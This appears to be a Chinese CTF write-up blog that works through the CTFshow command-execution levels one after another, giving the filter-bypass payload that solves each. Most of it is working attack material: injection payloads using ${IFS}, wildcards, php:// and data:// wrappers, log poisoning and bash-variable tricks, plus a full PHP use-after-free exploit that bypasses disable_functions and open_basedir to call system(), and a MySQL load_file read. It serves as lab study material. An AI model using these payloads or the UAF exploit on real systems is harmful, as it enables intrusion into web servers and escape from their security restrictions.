CTFSHOW-命令执行
最后更新时间:
命令执行 需要严格的过滤
只过滤了flag
学到了一些关于preg_match函数的正则匹配小细节
1 |
|
linux命令知识点:
对于linux cat和ca''t ca\t ca""t效果是相同的 这样同样可以绕过字符的限制
nl
命令1
2
3The nl utility reads lines from the named file or the standard input if the
file argument is omitted, applies a configurable line numbering filter
operation and writes the result to the standard output.
其实大体上是可以分为两个思路:
- 针对c的输入参数命令进行绕过限制
1 |
|
- 针对c,通过构建另外一个传参点来绕过对c的直接匹配
1 |
|
awk命令 主要是用来格式化文本内容的
1
2
3awk [参数] [处理内容] [操作对象]
预定义变量
$0 : 代表当前行(相当于匹配所有)统计每行的字段数(NF)
取出值($NF)
命令执行,需要严格的过滤
过滤了flag system和php
上一题继续打payload
1
echo `nl fl''ag.ph''p`
或者针对system的过滤
有一些其他命令执行函数可以学习使用
1
2
3
4
5
6
7
8system : 执行外部程序,并且显示输出,如果 PHP 运行在服务器模块中, system() 函数还会尝试在每行输出完毕之后, 自动刷新 web 服务器的输出缓存。如果要获取一个命令未经任何处理的 原始输出, 请使用 passthru() 函数。
exec : 执行一个外部程序,回显最后一行,需要用echo输出。
shell_exec : 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。
popen : 打开一个指向进程的管道,该进程由派生给定的 command 命令执行而产生。
proc_open : 执行一个命令,并且打开用来输入/输出的文件指针。
passthru : 执行外部程序并且显示原始输出。同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
pcntl_exec() : 在当前进程空间执行指定程序,当发生错误时返回 false ,没有错误时没有返回。
`(反引号):同 shell_exec()测试一下上面可以回显的函数
1
system passthru echo配合
命令执行,需要严格的过滤
过滤了cat sort shell . 空格 单引号
针对单引号,我们可以换成双引号
针对空格
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09
另外同cat功能的函数还有:
more:一页一页的显示档案内容
less:与 more 类似 head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容
strings: find the printable strings in a object, or other binary, file一些payload学习
1
2
3
4
5
6
7
8
9
10
11
12
13
14预期解
passthru("tac%09f*");
非预期
c="\x73\x79\x73\x74\x65\x6d"("nl%09fla*");等价于system()
c=echo`strings%09f*`;
c=echo`strings\$IFS\$9f*`必须加转义字符
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
类似
c=show_source(next(array_reverse(scandir(pos(localeconv())))));命令执行,需要严格的过滤
多过滤了反引号 echo 分号和左括号
利用上面出现过的一个文件包含搭配php伪协议payload是可以绕过部分正则匹配的
针对左括号,include函数可以不需要括号;针对分号,可以使用php短标签来闭合,起默认隐含了一个分号在其中
payload学习
1
2
3c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
c=include$_GET[1]?>&1=data://text/plain,<?php system("nl fl*")?>
c=include$_GET[1]?>&1=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy命令执行,需要严格的过滤
多过滤了一个双引号,上面的payload继续打
命令执行,需要严格的过滤
多过滤了一个冒号,继续
命令执行,需要严格的过滤
多过滤了<和=,继续
命令执行,需要严格的过滤
过滤了数字和/,继续(之前payload中的数字参数名得换一下)
命令执行,需要严格的过滤
题面换了
一般见include都是想着php伪协议进行文件包含,由于过滤了flag所以如果要是用的话只能用data协议进行命令执行
1
c=data://text/plain,<?php system("nl fl*");?>
另一个思路是通过日志文件包含,注入UA头进行命令执行,这道题的中间件为nginx
1
c=/var/log/nginx/access.log
命令执行,需要严格的过滤
多过滤了php,file关键字,前面使用的data伪协议需要采用base64编码传输了
不知道咋回事,php短标签经过base64加密后就会失去隐含的分号
1
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCJubCBmbCoiKTs/Pg==
命令执行,需要严格的过滤
加了一个后缀限制,00截断?
并没有,版本都到php 7+了
因为前面data协议已经闭合了PHP执行语句,拼接起来就变成了
c=data://text/plain,<?php system("nl fl*");?>.php
,所以后缀并不会影响代码的执行命令执行,需要严格的过滤
好家伙,直接来个狠的。
题目来源于
GXYCTF的禁止套娃
注意的一个细节在于过滤的基本都是符号,并且括号是中文括号,英文括号依然可以使用,同时也没过滤分号。所以一些函数还是可以使用的,这道题考察的就是如何去拼接组合这些函数来构建一个命令执行语句
一些可以使用的备选函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21getallheaders():返回所有的HTTP头信息,返回的是数组而eval要求为字符串,所以要用implode()函数将数组转换为字符串
get_defined_vars():该函数的作用是获取所有的已定义变量,返回值也是数组,不过是二维数组,用var_dump()输出可以看见输出的内容,看见在第几位之后,可以用current()函数来获取其值,详细可以看官方函数。
payload:var_dump(current(get_defined_vars()));
session_id():session_id()可以用来获取/设置当前会话 ID,可以用这个函数来获取cookie中的phpsessionid,并且这个值我们是可控的。
如可以在cookie中设置 PHPSESSID=706870696e666f28293b,然后用hex2bin()函数,
即传入?exp=eval(hex2bin(session_id(session_start())));
并设置cookie:PHPSESSID=706870696e666f28293b
session_start 函数是为了开启session
配合使用的函数:
print_r(scandir(‘.’)); 查看当前目录下的所有文件名
var_dump()
localeconv() 函数返回一包含本地数字及货币格式信息的数组。
current() 函数返回数组中的当前元素(单元),默认取第一个值,pos是current的别名
each() 返回数组中当前的键/值对并将数组指针向前移动一步
end() 将数组的内部指针指向最后一个单元
next() 将数组中的内部指针向前移动一位
prev() 将数组中的内部指针倒回一位
array_reverse() 以相反的元素顺序返回数组思路一:
先扫描当前目录所有文件
原始payload:
var_dump(scandir('.'))
由于点号被过滤,我们可以利用localeconv()返回数组中的点号元素
1
c=var_dump(scandir(current(localeconv())))
可以看到flag.php位于倒数第二个元素,接下来就是用到数组操纵元素来定位到flag.php。通过
highlight_file
或show_source
(两者一样)来显示出来1
c=show_source(next(array_reverse(scandir(current(localeconv())))));
思路二:
通过cookie中的seesionid值来进行命令执行,首先需要开启session。其次可控输入session。最后获取sessionid进行命令执行
1
2c=session_start();system(session_id());
PHPSESSID=ls不过PHPSESSID的值符号组成有限制
过滤不严,命令执行
这里关键是过滤了所有的数字和字母(但是这里的数字指的是ascii码48-57的),所以url编码的那种是可以通过过滤的,也就是没法使用正常的函数了。并且也不能用异或、取反、自增操作
这题主要利用到的是|
或运算符以及括号,我们可以利用穷举脚本,来通过或运算获得我们想要的字符
1 |
|
命令执行,需要严格的过滤
题面如图
有个拼接操作,
/dev/null
是什么?1
2
3
4在类Unix系统中,/dev/null,或称空设备,是一个特殊的设备文件,它丢弃一切写入其中的数据(但报告写入操作成功)
0 标准输入
1 标准输出
2 错误输出那么
> & 1 2
这些组合起来又是啥?1
2
3
4
52>/dev/null 把错误输出到空设备(即丢弃)
>/dev/null 2>&1 相当于1>/dev/null 2>&1 即把标准输出丢弃,并且把错误输出输出到标准输出。合计起来就是错误和标准输出都输出到空设备
2>&1 >/dev/null 错误输出到标准输出,即输出到屏幕上,而标准输出被丢弃
something interesting: 重定向> 和 >> 前者会先清空文件,然后再写入内容,后者会将重定向的内容追加到现有文件的尾部.这里主要考查的是管道分割符一类的运用。我们的需求就是由于输出会被丢弃无法回显,所以我们不能让后面这些语句执行
1
2
3
4
5
6
7
8
9
10思路一:%0a截断
也就是使两条语句不在一行上执行
c=ls%0a
思路二:管道符的运用
| 直接执行后面的语句
|| 如果前面执行的语句出错,则执行后面的语句
& 如果前面的语句为假则直接执行后面的语句,前面的语句可真可假
&& 如果前面的语句为假则直接出错,不执行后面的语句
; 执行完前面的再执行后面的
c=ls ||命令执行,需要严格的过滤
可以看到,过滤了cat和;
上面总结的继续用
命令执行,需要严格的过滤
多了个flag,不影响!
命令执行,需要严格的过滤
过滤了空格
再复习一下一些trick
1
2
3
4
5
6
7
8
9${IFS} 但不能写作 $IFS
$IFS$9
%09
<>
<
$IFS%09
payload:
c=tac%09fl*||
<img src="/image-20220915145105110.png" alt="image-20220915145105110" style="zoom:50%;" />
命令执行,需要严格的过滤
这回过滤了* $ 数字,还是可以基于上面绕过滴
1
c=tac<fl''ag.php||
命令执行,需要严格的过滤
这回是针对查看文件的命令的过滤,没啥影响
48-49. 命令执行,需要严格的过滤
payload1:c=nl%09fla\g.php||
payload2:c=nl%09fla\g.php%0a
payload3:c=nl%09fla''g.php%0a
payload4:c=nl%09fla""g.php%0a
payload5:c=vi%09fla\g.php%0a
payload6:c=tac%09fla\g.php%0a
payload7:c=uniq%09fla\g.php%0a
payload8:c=nl<fla''g.php||
payload9:c=nl%09fla\g.php%26
命令执行,需要严格的过滤
多过滤了
\x09 \x26
继续
命令执行,需要严格的过滤
哦吼,终于把tac给过滤了,可惜还有vi和nl
1
c=vi<fla\g.php||
命令执行,需要严格的过滤
这关把尖括号给ban了,但是注意这关没$,这不故意的嘛
1 |
|
然而是个假的flag,稍微找一下就知道在根目录了
命令执行,需要严格的过滤
这关更换题面了,过滤的情况没啥变化
ls,可以看到如下几个文件,花里胡哨的整这么多文件,其实还是读flag.php
某位牛出的题
这可太秀了,相当于不能出现这些关键词序列了,可以看到里面也有nl了,不过还有其它的可以用,至于flag,占位符可以用
1
2
3
4
5
6
7
8if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}引入两个新的输出文件信息的命令
1
2paste merge corresponding or subsequent lines of files
rev reverse lines of a file命令执行,需要严格的过滤
这波平平无奇了属于是,直接ban掉所有字母
新姿势新姿势
1 |
|
就是我们由于存在环境变量,所以一般命令的输入写简写就可以,但其实全路径(mac的base64命令所在目录有区别)是这样的,而我们可以使用占位符来替换掉所有字母部分的内容来加一绕过(这里的trick主要就是利用了base64命令包含数字所以可以被匹配到)
payload
1 |
|
命令执行,需要严格的过滤 php特性以及shell命令执行
直接ban掉了所有数字和字母,以及$和(这些经典trick的利用符
根据P神的无数字无字母getshell,可以结合上传临时文件与shell文件命令执行来绕过
1 |
|
命令执行,需要严格的过滤 shell的小trick
我超了,过滤的更多了,这一关点号、中括号、短横、通配符也用不了了。但是这关给我们留了$符号和括号,并且题面已经帮我们写好了cat和.php,想让我们构造出数字出来
这里运用到了shell的一些骚姿势
1
2
3
4
5
6$(()) 代表做一次运算,因为里面为空,也表示值为0
$((~$(()))) 对0作取反运算,值为-1
$(($((~$(())))$((~$(()))))) -1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(()))))))) 再对-2做一次取反得到1,所以值为1
如果对取反不了解可以百度一下,这里给个容易记得式子,如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1所以要构造出36,我们就得先构造-37
1
payload1 = "$((" + "$((~$(())))"*37 + "))"
然后再对其进行取反
1
payload2 = "$((~" + payload1 + "))"
payload
1
c=$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))
命令执行,突破禁用函数
表面上看上去平平无奇可以直接蚁剑连上去
不过考点应该不是这么搞,试一试手动的方法
这题主要是换成了一个代码执行函数
eval
首先尝试执行命令执行类函数
c=echo 'ls'(反斜杠)
,结果报错1
shell_exec() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
类似的还有system, 也就是命令执行类函数都被禁了
所以函数的思路转换为读文件一类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25常用读文件函数
highlight_file($filename);
show_source($filename);
print_r(php_strip_whitespace($filename));
print_r(file_get_contents($filename));
readfile($filename);
// file — 把整个文件读入一个数组中
print_r(file($filename));
var_dump(file($filename));
include($filename); // 非php代码
include_once($filename); // 非php代码
require($filename); // 非php代码
require_once($filename); // 非php代码
// fopen去读取文件内容
fread(fopen($filename,"r"), $size);
print_r(fread(popen("cat flag", "r"), $size));
print_r(fgets(fopen($filename, "r"))); // 读取一行
fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF
print_r(fgetcsv(fopen($filename,"r"), $size));
print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记
print_r(fscanf(fopen("flag", "r"),"%s"));
print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组命令执行,突破禁用函数
题面一致,本来想查下phpinfo()看看禁用了哪些函数,结果phpinfo都给我禁了…
先查下当前目录文件
1
2
3
4c=print_r(scandir('.'));
c=print_r(scandir(dirname('__FILE__')));
Array ( [0] => . [1] => .. [2] => flag.php [3] => index.php )然后读取函数,新姿势(其实跟之前的差不多,之前的只能读取一部分)
1
2
3
4c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");命令执行,突破禁用函数
题面一致
有个骚姿势,理论上我们是可以直接url访问flag.php的,但是因为php文件被代码执行了,我们是看不到内容的,一个思路就是复制(或者重命名)并更换文件名为不被当作代码解析的后缀名,即
1
2
3copy("flag.php","flag.txt"); // 将文件从 source 拷贝到 dest
或
rename("flag.php","flag.txt"); // 尝试把 oldname 重命名为 newname
61-65. 命令执行,突破禁用函数
题面一致,payload可以一直用c=show_source('flag.php');
命令执行,突破禁用函数,求你们别秀了
题面一致,终于
1
show_source() has been disabled for security reasons in /var/www/html/index.php(17) : eval()'d code on line 1
然而它的同胞
highlight_file
还健在…,话说php为啥整这么多别名函数有个特别的就是flag.php上的是个假的,需要重新扫一下目录,flag在根目录
命令执行,突破禁用函数,求你们别秀了
题面一致,过滤掉了print_r(),它的类似功能函数是var_dump
扫描目录
1
c=var_dump(scandir('/'));
扫出flag.txt
直接文件包含即可
1
c=include('/flag.txt');
命令执行,突破禁用函数,求你们别秀了
题面直接报错,不过应该还是之前的结构
1
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 19
az,自己ban自己?
还是上一题payload
命令执行,突破禁用函数,求你们别秀了
题面与上一题一致
var_dump()也给过滤了
这里该列一下读取目录的一些方式了
1
2
3
4
5
6
7
8
9
10print_r(glob("*")); // 列当前目录
print_r(glob("/*")); // 列根目录
print_r(scandir("."));
print_r(scandir("/"));
$d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";}
$d=dir(".");while(false!==($f=$d->read())){echo$f."\n";}
$a=glob("/*");foreach($a as $value){echo $value." ";}
$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
// 后面几个其实主要用到echo 可以输出这个目录条目的特点然后依然文件包含即可
命令执行,突破禁用函数,求你们别秀了
我去题面本身禁用的函数更多了,不过不影响payload
1
2
3
4
5
6Warning: error_reporting() has been disabled for security reasons in /var/www/html/index.php on line 14
Warning: ini_set() has been disabled for security reasons in /var/www/html/index.php on line 15
Warning: highlight_file() has been disabled for security reasons in /var/www/html/index.php on line 21
你要上天吗?命令执行,突破禁用函数,求你们别秀了
题面一致,这次给了题面源码,审一波
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents(); // 返回输出缓冲区的内容
ob_end_clean(); // 清空(擦除)缓冲区并关闭输出缓冲
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>ob_get_contents()
会截获缓冲区的内容,并且通过正则替换,所有字符串中的数字和字母将被替换为?针对
ob_end_clean()
,官网提到此函数丢弃最顶层输出缓冲区的内容并关闭这个缓冲区。如果想要进一步处理缓冲区的内容,必须在ob_end_clean()之前调用ob_get_contents(),因为当调用ob_end_clean()时缓冲区内容将被丢弃。
。也就是说,一切祸源于ob_end_clean(),也就是说我们想要阻止该函数关闭缓冲区,提前退出程序不就行了!1
c=include("/flag.txt");exit();
命令执行,突破禁用函数,求你们别秀了 突破open_basedir限制
题面一致,依然给了代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27<?php
/*
# -*- coding: utf-8 -*-
# @Author: Lazzaro
# @Date: 2020-09-05 20:49:30
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>看起来和上一题没啥变化,应该就是在过滤函数上增加了
先扫目录,先尝试上一题的payload
1
2
3$d=opendir("/");while(false!==($f=readdir($d))){echo"$f\n";}
-----------------------------------------------------------------------------------
疯狂报Warning: readdir() expects parameter 1 to be resource, bool given in /var/www/html/index.php(19) : eval()'d code on line 1换payload,根目录下存在flag0.txt
1
2$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit;
flag0.txt尝试直接包含,报错
1
2
3Warning: include(flag0.txt): failed to open stream: No such file or directory in /var/www/html/index.php(19) : eval()'d code on line 1
Warning: include(): Failed opening 'flag0.txt' for inclusion
(include_path='.:/usr/local/lib/php') in /var/www/html/index.php(19) : eval()'d code on line 1原来是有open_basedir的限制
1
2open_basedir:将PHP所能打开的文件限制在指定的目录树中,包括文件本身。
当程序要使用例如fopen()或file_get_contents()打开一个文件时,这个文件的位置将会被检查。当文件在指定的目录树之外,程序将拒绝打开学习P神14年的研究(666)
原来php5.3之后有了DirectoryIterator这个类方便直接去遍历目录,且可以无视open_basedir的限制
不过后面命令执行就不清楚了,直接脚本小子…(据说是uaf堆漏洞
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201function ctfshow($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
if($p_type == 1 && $p_flags == 6) {
$data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == 1 && $p_flags == 5) {
$text_size = $p_memsz;
}
}
if(!$data_addr || !$text_size || !$data_size)
return false;
return [$data_addr, $text_size, $data_size];
}
function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = 0; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x746e6174736e6f63)
continue;
} else continue;
$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > 0 && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
if($deref != 0x786568326e6962)
continue;
} else continue;
return $data_addr + $i * 8;
}
}
function get_binary_base($binary_leak) {
$base = 0;
$start = $binary_leak & 0xfffffffffffff000;
for($i = 0; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, 0, 7);
if($leak == 0x10102464c457f) {
return $addr;
}
}
}
function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);
if($f_name == 0x6d6574737973) {
return leak($addr + 8);
}
$addr += 0x20;
} while($f_entry != 0);
return false;
}
function trigger_uaf($arg) {
$arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
$vuln = new Vuln();
$vuln->a = $arg;
}
if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
}
$n_alloc = 10;
$contiguous = [];
for($i = 0; $i < $n_alloc; $i++)
$contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA');
trigger_uaf('x');
$abc = $backtrace[1]['args'][0];
$helper = new Helper;
$helper->b = function ($x) { };
if(strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for($i = 0; $i < 0x110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
}
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, 1, 4);
write($abc, 0xd0 + 0x68, $zif_system);
($helper->b)($cmd);
exit();
}
ctfshow("cat /flag0.txt");ob_end_flush();exit;命令执行,突破禁用函数
还是上一关的payload扫目录,根目录发现flagc.txt
那就直接试试文件包含
1
c=include('/flagc.txt');exit;
命令执行,突破禁用函数
payload扫目录,根目录flagx.txt
可以继续打
命令执行,突破禁用函数 mysql读写
payload扫目录,根目录flag36.txt
include和require都不能用了,应该还是open_basedir的限制,但这关的漏洞点不在堆漏洞了,因为过滤了strlen关键字,而在mysql可以读写漏洞
payload 这题有点离谱了,数据库的用户信息是咋知道的?
1
2
3
4
5
6
7
8
9
10
11try {
$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');
foreach($dbh->query('select load_file("/flag36.txt")') as $row){
echo($row[0])."|";
}
$dbh = null;
}catch (PDOException $e) {
echo $e->getMessage();
exit(0);
}exit(0);即便不知道数据库名为ctftraining,也可以通过连接默认数据库
information_schema
达到命令执行的目录,只需要猜解出mysql的用户名和密码即可1
2
3
4
5
6
7
8$dsn = "mysql:host=localhost;dbname=information_schema";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select group_concat(SCHEMA_NAME) from SCHEMATA");
foreach($rs as $row){
echo($row[0])."|";
}exit();
// 获取所有数据库 select schema_name from information_schema.schemata;这里可以先读出所有的库模式
1
2
3
4
5
6$dsn = "mysql:host=localhost;dbname=ctftraining";
$db = new PDO($dsn, 'root', 'root');
$rs = $db->query("select load_file('/flag36.txt')");
foreach($rs as $row){
echo($row[0])."|";
}exit();命令执行,突破禁用函数
先查下目录,根目录出现flag36d.txt,payload未变
命令执行最后一题,php7.4,基本上命令执行就告一段落了 FF1拓展
读目录,出现两个可疑文件
我们先尝试利用之前的payload读取flag36x.txt,但是PDO连接失败
1 |
|
题目提示了php 7.4,所以可以去查一下这个版本的新特性FFI:外部函数接口特性
1 |
|
其中$code
为一个字符串,包含常规C语言中的一系列声明,$lib
为要加载和链接的共享库文件名称,如果省略lib,则平台将会尝试在全局范围内查找代码中声明的符号,其他系统将无法解析这些符号。
也就是说我们可以调用C语言代码来执行,C语言中存在命令执行函数system
1 |
|
payload
1 |
|
然后访问1.txt即可
flag in flag.php
源代码中有提示
<!-- system($code);-->
简单测试发现只有大写字母和
{}$?*.空格;
这些可以使用所以这题的思路是使用bash的内置变量构造系统函数
1
2
3
4
5
6
7
8
9
10$USER // 用户名
$PATH // 可执行文件的搜索路径。
这里可以利用一下,因为所有文件都以n结尾,我们可以构造出nl命令
-> ${PATH:~A}
$PWD // 工作目录(你当前所在的目录),这与内置命令 pwd 的作用相同
// 字符串截取操作
${string: start :length} //左边开始,从0开始计数
${string: 0-start :length} // 从右边开始计数
${string: ~0} // 截取最后一个字符/一组字符串
${string: ~A}根据提示flag.php应该在当前目录/var/www/html,文件用通配符
1
${PATH:~A}${PWD:~A} ????.???
这样也可以截取最后一个字符
执行代码没有变,发现PATH关键字被禁了,我们只能换其它内置变量
引入一个新的内置变量
${SHLVL}
1
SHLVL 是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。
南神的思路就是构造/bin/cat命令
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16$# 位置参数的个数 一般读函数就是0
构造 /bin/cat
针对/
- ${PWD:$#:$SHLVL}
针对bin 直接使用通配符???
- ${PWD:$#:$SHLVL}???
所以可以构造出/bin/
- ${PWD:$#:$SHLVL}???${PWD:$#:$SHLVL}
cat中的at 因为一般权限用户为www-data 所以我们想截取倒数第三位和倒数第二位
也就是 ${USER:~2:2}
所以还需要构造2这个数字
这里比较巧妙的就是正好利用了靶机的PHP版本号最后一位是2
所以2的payload就是
- ${PHP_VERSION:~A}
结合起来就是
- ${PWD:${#}:${#SHLVL}}???${PWD:${#}:${#SHLVL}}?${USER:~${PHP_VERSION:~A}:${PHP_VERSION:~A}} ????.???这题给出了源代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
$code=$_POST['code'];
if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){
if(strlen($code)>65){
echo '<div align="center">'.'you are so long , I dont like '.'</div>';
}
else{
echo '<div align="center">'.system($code).'</div>';
}
}
else{
echo '<div align="center">evil input</div>';
}
}
?>这题过滤了空格,并且限制了payload长度不能超过65。针对上一题的payload可以进行一定的缩减
cat关键字我们只出一个a,其它用通配符替换
1
2
3
4// www-data 最后一个字符为a
